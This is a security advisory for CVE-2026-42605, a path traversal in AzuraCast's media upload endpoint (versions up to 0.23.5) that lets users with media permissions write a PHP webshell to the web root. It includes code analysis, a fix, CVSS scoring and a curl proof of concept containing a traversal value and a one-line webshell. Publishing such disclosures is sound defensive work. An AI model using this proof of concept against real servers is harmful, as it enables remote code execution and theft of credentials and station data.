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AzuraCast has Path Traversal in `currentDirectory` Parameter that Enables Remote Code Execution via Media Upload

High severity GitHub Reviewed Published Apr 23, 2026 in AzuraCast/AzuraCast • Updated May 4, 2026

Package

composer azuracast/azuracast (Composer)

Affected versions

<= 0.23.5

Patched versions

0.23.6

Description

Summary

The currentDirectory request parameter in the Flow.js media upload endpoint (POST /api/station/{station_id}/files/upload) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station's media storage directory, achieving remote code execution by writing a PHP webshell to the web root.

Details

In backend/src/Controller/Api/Stations/Files/FlowUploadAction.php, the currentDirectory parameter is read directly from user input at line 79 and prepended to the sanitized filename at line 83:

// FlowUploadAction.php:79-84
$currentDir = Types::string($request->getParam('currentDirectory'));

$destPath = $flowResponse->getClientFullPath();
if (!empty($currentDir)) {
    $destPath = $currentDir . '/' . $destPath;
}

While $flowResponse->getClientFullPath() is sanitized via UploadedFile::filterClientPath() (which strips .. segments), the $currentDir value is prepended after this sanitization, reintroducing traversal capability.

This $destPath is passed to MediaProcessor::processAndUpload() at line 95-98. The critical issue is in the finally block at backend/src/Media/MediaProcessor.php:114-117:

// MediaProcessor.php:75-117
try {
    if (MimeType::isFileProcessable($localPath)) {
        // ... process media ...
        return $record;
    }
    // ...
    throw CannotProcessMediaException::forPath($path, 'File type cannot be processed.');
} catch (CannotProcessMediaException $e) {
    $this->unprocessableMediaRepo->setForPath($storageLocation, $path, $e->getMessage());
    throw $e;
} finally {
    $fs->uploadAndDeleteOriginal($localPath, $path);  // ALWAYS executes
}

The finally block writes the file to the traversed path regardless of whether the file passes MIME type validation. A .php file triggers CannotProcessMediaException, but the finally block still copies it to the destination before the exception propagates.

For local storage (the default), LocalFilesystem::upload() at backend/src/Flysystem/LocalFilesystem.php:45-57 resolves the path via getLocalPath():

// LocalFilesystem.php:45-57
public function upload(string $localPath, string $to): void
{
    $destPath = $this->getLocalPath($to);  // PathPrefixer::prefixPath() — simple concatenation
    $this->ensureDirectoryExists(dirname($destPath), ...);
    copy($localPath, $destPath);  // OS resolves ../
}

getLocalPath() delegates to PathPrefixer::prefixPath() (League Flysystem), which performs simple string concatenation without normalization. This bypasses the WhitespacePathNormalizer that would catch traversal if the path went through the standard Filesystem::write()/writeStream() methods. The OS-level copy() then resolves ../ sequences, writing outside the media root.

Note: RemoteFilesystem::upload() uses $this->writeStream() which DOES go through the normalizer, so S3/remote backends are not affected. Only local storage (the default configuration) is vulnerable.

The route at backend/config/routes/api_station.php:399-405 requires StationPermissions::Media — a permission granted to DJs and station managers, not only admins.

PoC

Assuming AzuraCast is running locally with a station (ID 1) using local filesystem storage and the attacker has a valid API key with Media permissions:

Step 1: Upload a PHP webshell via path traversal

curl -X POST "http://localhost/api/station/1/files/upload" \
  -H "Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>" \
  -F "flowTotalChunks=1" \
  -F "flowChunkNumber=1" \
  -F "flowCurrentChunkSize=44" \
  -F "flowTotalSize=44" \
  -F "flowIdentifier=abc123" \
  -F "flowFilename=shell.php" \
  -F "currentDirectory=../../../../../var/azuracast/www/public" \
  -F "file_data=@shell.php"

Where shell.php contains:

<?php system($_GET['cmd']); ?>

Expected response: An error JSON (because .php is not a processable media type), but the file has already been written by the finally block.

Step 2: Execute commands via the webshell

curl "http://localhost/shell.php?cmd=id"

Expected output:

uid=1000(azuracast) gid=1000(azuracast) groups=1000(azuracast)

Impact

  • Remote Code Execution: An authenticated user with DJ or station manager privileges can write arbitrary PHP files to the web root and execute arbitrary system commands as the AzuraCast application user.
  • Full Server Compromise: The attacker can read configuration files (database credentials, API keys), access all station data, modify application code, and potentially escalate to root depending on system configuration.
  • Privilege Escalation: A DJ-level user (lowest privileged role with media access) can achieve the equivalent of full system administrator access.
  • Data Exfiltration: All station data, user credentials, and application secrets become accessible.

Recommended Fix

Sanitize currentDirectory in FlowUploadAction.php using the same filterClientPath() method used for filenames:

// FlowUploadAction.php — replace line 79:
$currentDir = Types::string($request->getParam('currentDirectory'));

// With:
$currentDir = UploadedFile::filterClientPath(
    Types::string($request->getParam('currentDirectory'))
);

Additionally, harden LocalFilesystem::upload() to normalize paths before use:

// LocalFilesystem.php — add path normalization in upload():
public function upload(string $localPath, string $to): void
{
    $normalizer = new WhitespacePathNormalizer();
    $to = $normalizer->normalizePath($to);  // Throws PathTraversalDetected on ../

    $destPath = $this->getLocalPath($to);
    $this->ensureDirectoryExists(
        dirname($destPath),
        $this->visibilityConverter->defaultForDirectories()
    );

    if (!@copy($localPath, $destPath)) {
        throw UnableToCopyFile::fromLocationTo($localPath, $destPath);
    }
}

Also sanitize flowIdentifier in Flow.php:67 to prevent secondary traversal in chunk directory creation.

References

@BusterNeece BusterNeece published to AzuraCast/AzuraCast Apr 23, 2026
Published to the GitHub Advisory Database May 4, 2026
Reviewed May 4, 2026
Last updated May 4, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS score

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

CVE ID

CVE-2026-42605

GHSA ID

GHSA-vp2f-cqqp-478j

Source code

Credits

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